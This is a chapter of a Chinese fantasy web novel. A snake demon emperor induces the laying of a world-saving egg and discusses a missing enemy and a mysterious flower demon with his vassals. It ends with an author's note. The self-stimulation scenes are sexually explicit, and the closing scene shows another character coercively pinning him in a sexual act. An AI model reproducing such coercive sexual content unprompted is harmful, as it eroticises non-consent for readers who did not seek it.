白玉京歪在池水边休息了良久, 才勉强从那股餍足中回过神。 他意犹未尽地舔了下嘴角,第一反应不是去看自己的肚子,而是去看眼前漂浮的水幕。 画面之中的玄冽依旧伫立在原地, 如果不是妖血附着在他本体上,白玉京恐怕便要怀疑玄冽是不是已经变成望妻石了。 不过……眼前的画面分明和自己失神前看到的并无二致, 怎么还是感觉好像哪里有些不太对劲? 白玉京蹙眉靠在岸边,就那么一边泡着灵泉, 一边不紧不慢地打量着画中人, 一时间仿佛气焰滔天的妖皇正在打量自己新看上的男宠。 到最后, 异样之处白玉京是半点也没看出来, 反而自己把自己给看爽了, 忍不住舒展开眉眼。 就该这样。 像这种英俊鳏夫, 就合该被妖皇陛下纳回来当男宠。 最好强迫他用这张哀莫大于心死的冷脸帮自己舔…… 白玉京想到这里脸一热, 竟泛起了几分羞意,连忙甩了甩尾尖垂眸看向自己小腹。 万相妖王不愧是万相妖王,给的法子确实有用,眼下十日没有动静的肚子总算起了些许反应, 但离真正将卵产下去, 似乎还差了点什么。 他能想到的办法都已经用尽了……眼下还能怎么刺激? 白玉京忍不住扶上小腹,刚揉了没两下, 他便突然灵机一动, 生出了一个绝妙的主意——既然已经到了瓜熟蒂落的时候蛇卵还是没有动静, 那直接刺激蛇卵本身呢,会有作用吗? 想到这里, 白玉京也来不及向花浮光询问这个办法的可行性, 直接合拢双腿化出了蛇尾。 恢复妖皇之姿不再需要故意扮作娇柔后, 华丽圣洁的雪白蛇尾瞬间遮天蔽日般迤逦而出, 池水霎时被搅得天翻地覆,强大的妖气随即在浴宫中彻底荡开。 白玉京将尾尖翘出水面递到嘴边,一边咬弄一边垂眸看向那处没有蛇鳞覆盖的地方。 半晌,他小心翼翼地吐出尾巴,学着先前梦中的模样,将尾尖缓缓悬于其上…… “——!” 浴宫之内霎时宛如水漫金山一般,飞溅起的波涛尽数打在水幕上,一下子便将玄冽的身影给击碎了。 但此刻的白玉京已经顾不上这些了,他上半身随着方才的刺激直接滑进了浴池,只剩下晶莹剔透的尾尖还翘在水面上颤抖。 即将生育的身体和本就敏感的尾尖凑在一起,还是太超过了…… 虽然确实比之前的办法还要管用,但那种巨大的异样仿佛要把白玉京整条蛇都给吞没一样,已经到了令人恐惧的程度。 ……算了算了,无论如何今日总归是有了些许进展,不算徒劳无功。 先前既已经卡了十日了,也不差这一会儿。再这么下去,自己恐怕要直接昏厥在池水中了。 白玉京咬着牙狼狈不堪地从水面下伸出手,抓住池岸,挣扎着浮出水面,趴在岸边大口大口地呼吸起来。 ……今天还是先到此为止吧,剩下的从长计议。 第二日,妖皇宫正殿。 素来不喜庶务的花浮光,却再次早早地坐在位置上。 白玉京进殿后见状,刚在宝座上坐下,没等她开口便直接了当道:“这几日费心了,你说的那个法子确实有用。” 奈何他先发制人还是堵不住她的嘴,花浮光闻言眼前一亮:“属下给了不少法子,敢问具体到底是哪个法子有用?” 白玉京:“……” ……万相妖王的万相怕不是天天都用来打探八卦了。 他面上就仿佛没听到花浮光的询问一下,自然而然揭过了这个话题:“先前本座吩咐你追踪的痕迹,眼下追踪得如何了?” 然而有些时候粉饰太平反而更有些此地无银三百两的意思。 见他不愿意回答,花浮光一下子便明白了什么,当即露出了一副了然的神色。 不过在白玉京恼羞成怒之前,她立刻收敛神情正色道:“还请吾皇恕属下无能,你所吩咐的痕迹我这几日一直在追查,但沈风麟自十日前自爆后便没有留下任何痕迹,哪怕是鬼界我也已经让子嗣去搜寻过了,没有任何踪迹。” “按理来说,他哪怕是合体期自爆,灵魂不应该受损,依旧该正常转世,自然也就要经过鬼族的生死簿。可是沈风麟此人的魂魄在鬼族那边根本没有记录在案,就仿佛——” “他压根不属于任何一个世界一样。” 说到这里,花浮光忍不住停下声音,面上再不显之前的调侃与揶揄,反而尽是凝重之色。 白玉京闻言却垂下睫毛,摩挲着手腕上的白玉镯淡淡道:“意料之中。” 花浮光闻言蹙眉,显然还想再说什么,白玉京先她一步道:“你还记得半个月前,本座同你提过的飞升一事吗?” 花浮光不是苍骁那种只知道汪汪叫的蠢狗,闻言一怔,随即立刻明白了什么,眼底闪过一丝惊愕:“吾皇的意思是……?” 白玉京掀起眼帘,一眨不眨地看着她:“所谓飞升,其实是一场骗局。” 此话一出,整个妖皇宫内鸦雀无声,连带着一旁的侍者闻言都惊呆了。 白玉京丝毫不避讳此事,就那么当着众妖侍的面,望着花浮光道:“诸天九界,四海八荒,也不过只是某些东西的池中之物罢了。” “……” 花浮光听明白了他的言下之意,开口便想询问如此险境又该如何破局,话到嘴边她又突然想起来了什么,随即立刻看向白玉京微微隆起的小腹。 白玉京顺着她的目光看向自己的小腹,没有否认,也没有开口解释。 但和聪明人交流就是这么简单,花浮光见状当即倒抽了一口凉气,却连半个字都没有开口询问。 一切尽在不言中。 白玉京轻轻抚上小腹,眼底泛起了一阵难得的阴郁。 ……连花浮光都找不到沈风麟的踪迹,看来能够抵抗【系统】的,便只有他腹中的小天道了。 但濒临降生,小天道的状态反而像是返璞归真一样,十日之前那次突然开口连话都说不明白,这几日间更是没了动静,就那么安安静静地缩在白玉京腹中。 看来无论如何,尽快把小天道生下来才是正事。 ……可是,就没有体面一点的生育办法吗? 联想到昨晚险些当真昏过去的刺激行为,白玉京蓦地打了个冷战。 然而,正当他眉头紧锁思考着到底有没有其他办法时,殿外竟突然传来了两道熟悉的气息。 ——九渊妖王涂山侑和风啸妖王苍骁。 妖侍进殿禀报,白玉京饶有兴致道:“让他们进来。” 两人在殿前站定,彼此之间居然隔了有两人那么宽——苍骁是率先站定的那个,主要是涂山侑故意站得离他远了一些。 苍骁忍不住看了他义父一眼,对方神色如常道:“小狐参见吾皇。” 见状,苍骁也跟着行礼道:“参见吾皇。” 白玉京摩挲着玉镯挑了挑眉:“本座听浮光说,你们最近似乎在交流感情,本座原本还想着给你们点时间好好交流交流,怎么反倒不请自来了?” 他话中的揶揄几乎溢于言表,俨然是打算看热闹的姿态。 苍骁闻言面色间闪过了一丝窘迫,下意识道:“是我冲撞了……” 涂山侑却语气冷淡地打断道:“若无要紧之事,我等也不愿叨扰陛下。” 白玉京闻言一怔,下意识坐直身体:“何事如此要紧?” 涂山侑不语,只是抬眸看向周围的妖侍。 白玉京立刻抬手示意,待妖侍尽退后,他才开口道:“说吧,究竟何事?” 涂山侑直截了当道:“您所要的那枚种子,或许有眉目了。” ……!? 白玉京喉咙一紧,立刻道:“在哪处有的眉目?” 涂山侑闻言却又不说话了,他转身走到自己的位置上坐下,徒留苍骁一个人站在原地。 白玉京见状心下不由得泛起了些许微妙,哪怕两人吵架,这狐狸也不忘把邀功的机会送给他那狗儿子吗? 还真是父子情深啊。 偏偏苍骁那傻狗空长了一颗俊俏的狗头,他压根没看出来涂山侑的意思,还以为对方不愿意搭理他,愣了一下后连忙跟着对方到位置上坐下,眉眼间尽是犯了错的小心翼翼。 白玉京见状气得恨不得翻白眼:“蠢狗,你小爹让你回话呢,你看谁呢?” 苍骁闻言一怔,见涂山侑不冷不淡地看了他一眼后,连忙汇报道:“回陛下,疑似仙种的迹象出现在了浮离小世界。” 白玉京听都没听过这个世界,好在那蠢狗这次终于聪明了,没等他不耐烦的提问,便主动解释道:“浮离是一处人妖共居的小世界,但浮离的人族中没有女性,只有男性。被选定为孕育方的男子需要依靠一种特殊的泉水方能生育。” 白玉京闻言一顿,竟不知还有这种世界。 “然而就在五百年前,一个妖修占据了那处泉水,要求人族每年向他供奉十个童男,方能允许他们继续繁衍,否则便要让他们绝嗣。” “都什么年代了还供奉童男童女……”白玉京蹙眉,“借妖族名义行此龌龊之事,你没把他杀了?” “这便是问题所在。”苍骁说着,面色间染上了和先前花浮光如出一辙的凝重,“占据那处泉水的妖修是一只虎妖,属下得到消息时,那虎妖已经死了。” “我到了浮离,根据小世界内部的消息找到了虎妖的尸体,却发现他的尸体……不,他的尸骨异常诡异。” 花浮光忍不住道:“怎么个诡异法?” “那老虎只剩下一具空空荡荡的皮包骨头,血肉尽失不说,他的骸骨上还残留有一些来历不明的花粉。” “所以属下初步判断,那虎妖应当是被一个花妖所杀的。” 白玉京蹙眉道:“什么花妖?” “属下不知。”苍骁说着拿出了一枚狐裘做的锦囊,递给白玉京,“但我取了一些在这里。” 白玉京接过一看,竟也不知道这花粉到底是何种花的,一时间有些新奇:“本座倒不知什么样的花妖竟会以血肉为食,不过花妖和灵植确实对得上……但你怎么确定那花妖就是我们要找的仙种?” “没办法确定。”苍骁摇了摇头道,“我甚至没见过那个花妖,只是根据花粉初步断定可能存在这样一个花妖。” “但是,那虎妖虽然只剩下尸骨与毛皮,我检查过后却发现,他却并非死于失血或者凌迟。” 白玉京闻言摩挲着玉镯的动作一顿,下一刻便听苍骁道:“——他死于剑伤。” 正殿之内的众人闻言皆是一愣。 涂山侑显然因为两人之间的矛盾,在来的路上也没仔细打听这件事。 此刻,他和花浮光同时不可思议地看向苍骁:“妖修怎么可能会用剑?” 花浮光蹙眉道:“会不会是哪个剑修杀了他,随后又被那血食的花妖捡了漏?” “不可能。”苍骁斩钉截铁道,“那剑法便是与青羽,不,与人皇相比也丝毫不逊色,甚至——” 他一字一顿道:“甚至有过之,而无不及。” 此话一出,全场鸦雀无声。 ……怎么可能? 这几乎是在场众人心头涌起的第一个念头。 人皇的沧澜剑乃是数百年,甚至数千年间当之无愧的天下第一剑,区区一个小世界而已,怎么可能会出现哪一个修士的剑术能比她的剑术还要高明? 至此,终于再无人质疑苍骁先前所说的内容,显然都被这莫名的疑点给惊住了。 见众人皆陷入沉思,苍骁忍不住看向白玉京提醒道:“属下擅自在浮离小世界搜寻了一圈,却没有找到任何符合上述特征的花妖,或许此事只是巧合。” “但那虎妖自称臧山大王,在周围的小世界还算有些名气,他暴卒而亡的事已经在那些小世界传播开来,所以……” 所以,沈风麟倘若并未身死,或许也已经得到了消息。 眼下白玉京无法确定沈风麟自爆一次到底需要多久才能恢复,若是按照先前玄冽将他斩落的那一次进行推测,大概需要一个月。 然而谁也不确定系统会不会随着沈风麟的自爆而不断进化,就算真的时间还剩下一个月,白玉京也不敢拿此事去赌。 他们也赌不起。 “……本座知道了。” 白玉京抿了抿唇,在心中下定决心,说什么也不能再拖了。 思及此,他定下神色当即开始部署:“本座接下来要闭关一段时间,可能是三五日,也可能需要半个月。在这期间,九渊负责浮离外部的消息封锁,让浮离周围世界的妖修全部给本座闭上嘴,但凡此事再往外扩散,让他们仔细自己的脑袋。” “同时对浮离本世界,切记不要打草惊蛇。若那花妖当真乃仙种所化,不知它究竟是何目的,更不知道来者是善是恶,所以,风啸负责将浮离小世界内的秩序维护好,不要让世界之内的人发现异样,本座出关后即刻赶去。” “浮光继续监测沈风麟的异动,一旦发现他复活或者疑似复活的迹象,立刻通知本座。” 说到最后,白玉京顿了一下,额外补充道:“若是事发紧急,本座在闭关之中又没有回应……你们记得立刻去找玄冽。” 三人闻言皆是一愣。 “……但切记,不要暴露本座未死一事。” 苍骁忙着追踪仙种一事,显然还不知道白玉京与玄冽之间发生了什么,闻言下意识道:“您终于和他——” 涂山侑一尾巴直接塞到了他嘴里,垂下头和花浮光一起道:“是。” 安排完所有事项,白玉京没有丝毫停留,起身便直接离开了妖皇宫。 天道一事,事关三千界存亡,因此,白玉京甚至没有选择在妖皇宫内进行产卵,更没有告诉四大妖王他的去向,而是寻了一处无人知晓的秘境。 此秘境乃是他曾经第三次到第七次蜕鳞的地方,足足十条天阶灵脉的灵气尽数汇聚在这一池泉水中,灵力浓郁到了极致,以至于泉水都接近乳白色。 白玉京在秘境之外设下阵法,抬脚走入秘境。 看着眼前浓郁到近乎有些粘稠的灵泉,他深吸了一口气,像是做足了某种巨大的准备一样,抬手一挥,一面巨大的琉璃镜便出现在池水之中。 出于某种不可言说的目的,白玉京特意选的是清晰度最高的琉璃镜,却见镜面之内完完整整地映照出衣冠整齐的美人,甚至连耳根因羞耻而泛出的红意都能照得一清二楚。 白玉京下意识移开视线,抬手打算去解自己的腰带,可逃避到一半,他便不由得止住了动作。 ……现在都接受不了,等下又该怎么办? 思及此,耳根通红的美人深吸了一口气,强迫自己扭过头,一眨不眨地盯着镜面,而后颤抖着褪下身上的所有布料。 最终,他浑身上下只剩下了手腕上的玉镯和脖子下那枚圆润可爱的玉蛇。 本就微凉的玉蛇佩被热气一蒸,反而显得越发冰冷,贴在胸口激起了一阵难言的刺激。 难为情到极致的妖皇陛下终于找到了逃避到机会,连忙垂下眼眸攥住那枚冰冷剔透的小蛇。 既然昨日那个办法有用,自己无论如何也不能再逃避了,但先前花浮光给的意见不容忽视。 同样也是按照昨日的经验,自己在过程中有极大的可能会濒临昏迷,所以在开始之前,需要准备一些及时且足够的刺激。 ——比如眼下这枚玉蛇佩。 这是他幼时便戴在身上的长生佩,当时玄冽考虑到他年幼,鳞片尚不耐高温,于是特意为他寻了这种特殊的冷玉,为他制成了这枚长生佩。 眼下白玉京无比庆幸,幸亏当时的玄冽还没扭曲到眼下这种程度。 这种玉虽然不知道具体是什么玉,但它的温度和玄冽本体的温度大相径庭,白玉京有十二万分的把握,这东西绝对不可能是玄冽的本体,因此他哪怕把红玉镯和耳坠都还了回去,却依旧佩戴着这枚长生佩。 所以……这是他眼下唯一的寄托了,攥着此物时,或许多少能唤起几分清明。 思及此,白玉京咬着下唇将小蛇取下,轻轻攥在手中,一步步走进了池水内。 最终,他在那面巨大的琉璃镜前坐下,忍着滔天的羞意深吸了一口气,蓦地变出了蛇尾。 美人半闭着眼将手中的玉蛇放在身后触手可及的地方,而后终于鼓起勇气,看向镜中的自己。 ……早死早超生,别再犹豫了。 他深吸了一口气,缓缓探手下去,分别用两根食指按压在那处未覆盖鳞片的地方,随即翘起蛇尾,悬在那处之上…… “……!” 羞耻混杂着难以言喻的冲击骤然攀上脑海,一时间让他几乎昏迷。 怎、怎么会这么快……这才只是刚刚开始而已,怎能就这么昏过去…… 白玉京挣扎着攥住放在身后岸边的小蛇,冰凉圆润的触感硌在手心,三息之后便将他从濒临昏迷的边缘拉了回来。 还好,还好自己先前做好了准备。 湿漉漉的美人忍着泪意别过头,想趁着放玉蛇的机会喘口气,奈何他刚一扭过头,便猝不及防地对上了玉蛇圆溜溜的眼睛。 “……” 白玉京怔了一下后,当即面色爆红。 仿佛幼蛇时期的自己正在好奇地盯着自己一样,他瞬间羞耻得脊背发麻,连忙收回视线,专心致志地看向镜面,再不敢扭头看小蛇一眼。 又过了不知道多久,白玉京突然一顿,睁圆眼睛略显愕然地盯着镜面中的画面,似是被眼前的画面惊呆了,他此刻的模样和身后的玉蛇简直一模一样。 ……碰、碰到了? 可为什么尾尖的触感依旧是软的?蛋壳不该是硬的吗? 白玉京不信邪又戳了下蛋壳,随即不可思议地垂下眼眸。 ——他身为通天蛇妖,竟然完全不知道蛇卵在生出来之前居然是软的。 湿漉漉且外壳柔软的蛇卵完全是为了方便母体生产,让它在挤压过程中不会那么轻易的碎掉,从而划伤母体。 可那是对于正常生产而言的。 对于白玉京这种催产的情况而言,软壳不仅意味着方便,同时更意味着,仅靠蛇尾很难分清楚哪里是卵,哪里又是…… “……!” 白玉京发出了一声崩溃般的啜泣,不得已再次抬眸看着镜面,对镜的羞耻感让他几乎晕倒。 好羞耻……自己只是第一次生育为什么要经历这些……谁来救救我…… 完全没有生产经验的小美人被迫一个人面临此事,哪怕一开始时大脑是清醒的,里面还装着什么天下大义,可到了此刻不管什么大义责任都变成一坨浆糊后,剩下的便只有委屈与茫然了。 他胡乱咬着贴在嘴边的发丝,被泪意模糊的视线看着身下湿漉漉的卵,下意识呜咽道:“夫君……” 又、又要昏过去了……不行,好不容易到了最后一步—— 此刻,白玉京甚至能清晰地感受到,接触到外界后正在逐渐变得坚硬的卵壳。 如果这时候功亏一篑,重新把卵吞回去的话…… 白玉京打了个激灵骤然回神,霎时冷汗直冒——不止是对还要再经历一轮的恐惧,更是对已经变硬的卵壳的恐惧。 不能昏过去、绝对不能在这时候昏过去……! 那么大的卵变得坚硬后,自己绝对会……不行,再坚持一下……可恶,这丢人的身体…… 到了这个阶段,几乎已经不需要再面对那张镜子了,当然白玉京也根本顾不上看镜子了。 他含着泪垂着头,一眨不眨地看着自己的蛇尾,硬是深吸了几口气,才终于颤抖着抬起手向身后探去,想要去攥那枚玉蛇。 入手之间首先感受到的是冰冷,无边的冰冷,甚至比前一次攥进手中时还要彻骨三分。 白玉京被冰得一激灵,好在那东西镇定的效果确实立竿见影,滚烫到让他近乎昏厥的潮汐一下子便消退了几分。 快、快成功了……再坚持最后一下…… 可是、呜……可是真的太刺激了…… 巨大的镜面之中,蛇尾的绝色美人啜泣着呜咽道:“夫、夫君……恩公……” “别怕,我在。” “……” 有那么一瞬间,白玉京几乎以为自己出现了幻觉。 他先是很短暂地愣了一下,像是大脑没办法处理耳边的那道声音,紧跟着,他的手率先反应过来。 从那阵刺骨生寒的冰冷之下,终于摸出了那物的形状。 ——那不是玉蛇,而是一只白玉京无比熟悉的手。 上面甚至还带着十日前未消退的伤痕。 “——!?” 白玉京猝不及防间发出了一声变了调的呜咽,竟被吓得直接产出了腹中的蛇卵。 那圆润的玉卵接触到外界的一瞬间立刻变得坚硬无比,壳上甚至还带着黏腻,顺着滑腻的蛇鳞便滚到了他怀中。 然而白玉京根本没心思去关注自己好不容易生下的那枚卵,一是因为乳白色接近浓稠的灵泉正在倒灌,二是因为他此刻的注意力全部在自己的右手上,别说那枚卵了,他现在甚至都不敢抬头去看那面镜子。 仿佛只要没有下一步动作,便能骗自己一切只是一场梦而已。 可惜,下一刻,那只手便像是处刑一般缓缓收紧,与他十指相扣。 白玉京一下子呆若木鸡地僵在池水中。 不可能……不可能……他分明已经把玉镯和耳坠都还给他了,玄冽为什么还能精准无比地找到他!? 哪里还有纰漏,哪里—— 突然间,他蓦地一僵,缓缓抬起眼眸。 却见琉璃镜中倒映出他愕然且狼狈的容颜,以及身后人因为认真而显得有些缓慢的动作——男人一眨不眨地凝视着镜中的他,抬手将那枚玉蛇佩重新戴在了他的脖子上。 ……是长生佩。 可是怎么可能呢?这分明是他从小就戴在他身上的长生佩…… 没等念头彻底生出,玄冽便抬手在那枚玉佩上抹了一下。 原本雪白可爱的小蛇突然间像是被什么浓郁至极的情绪给染上了颜色一样,从中心处向外泛起,最终变成了一片仿佛深不见底般的漆黑。 白玉京瞳孔骤缩,蓦然意识到了什么—— 那是玄冽的灵心。 原来早在七百年前,早在他还懵懂无知的时候,玄冽便把那先生出来的一半灵心,剖出来送给了自己。 ……疯子。 这人简直就是疯子——! 白玉京汗毛倒立间,却在镜中看到了让他更毛骨悚然的画面——玄冽缓缓地下头,目光森冷地看向他身下那枚刚生出来的白卵。 蛋壳上闪烁着异样的纹路,但半点暗红或者黑色都没有,一看就和玄冽没有半毛钱关系。 ……不对。 白玉京突然有些怨恨自己莫名灵光的脑子。 如果长生佩是玄冽的灵心,那昨天自己在池中对着玄冽……时,这人又听到了多少? “……” 白玉京被吓得魂飞魄散,顾不得自己尚未恢复的地方,当即用尾巴把蛋小心翼翼卷到身下,在心中哭着祈祷玄冽什么都没听见。 然而,他不知道的是,他用尾尖卷东西的模样还是和幼蛇时期一模一样,也和他卷着那朵花的样子……如出一辙。 白玉京自欺欺人地卷起玉卵,又小心翼翼地从玄冽手中抽出右手。 正当他打算就这么悄无声息地逃跑时,下一刻,玄冽突然一只手掐着他的后颈将他按在岸边,另一只手拿起那枚已经硬化的玉卵,直接抵在了那处尚未恢复的地方! “——!” 作者有话说: 是的,是对镜[奶茶][奶茶] 今天来晚了一点,不好意思鞠躬鞠躬[爆哭]